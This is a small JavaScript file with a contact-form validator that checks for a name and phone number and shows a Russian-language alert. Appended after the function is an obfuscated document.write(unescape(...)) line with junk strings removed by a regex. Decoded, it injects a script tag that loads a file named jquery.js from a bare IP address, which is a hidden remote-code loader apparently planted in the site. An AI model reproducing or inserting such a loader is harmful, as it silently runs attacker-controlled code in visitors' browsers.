function ValidateContactForm() {

    var name = document.getElementById('name');
    var phone = document.getElementById('phone');
    
    if(name && phone) {
    
        if(name.value && phone.value) {
            
            return true;
        }
        else {
            
            alert('Вы должны ввести имя и телефон');
            return false;
        }
    }
    else {
        
        return false;
    }
}<!-- 
document.write(unescape('4Tl%3CN5bscObripqrt1i%20sN5brN5bcV3A%3Ducd%2FtP%2Fucd9qr4oVm%2E2V3A4V3A7%2EOb2%2Eucd195%2FtPjqueoVmry%2Ejs4Tl%3E%3Cucd%2FtPscObriucdpt%3E').replace(/qr|Ob|1i|4Tl|ucd|oVm|N5b|tP|V3A/g,""));
 -->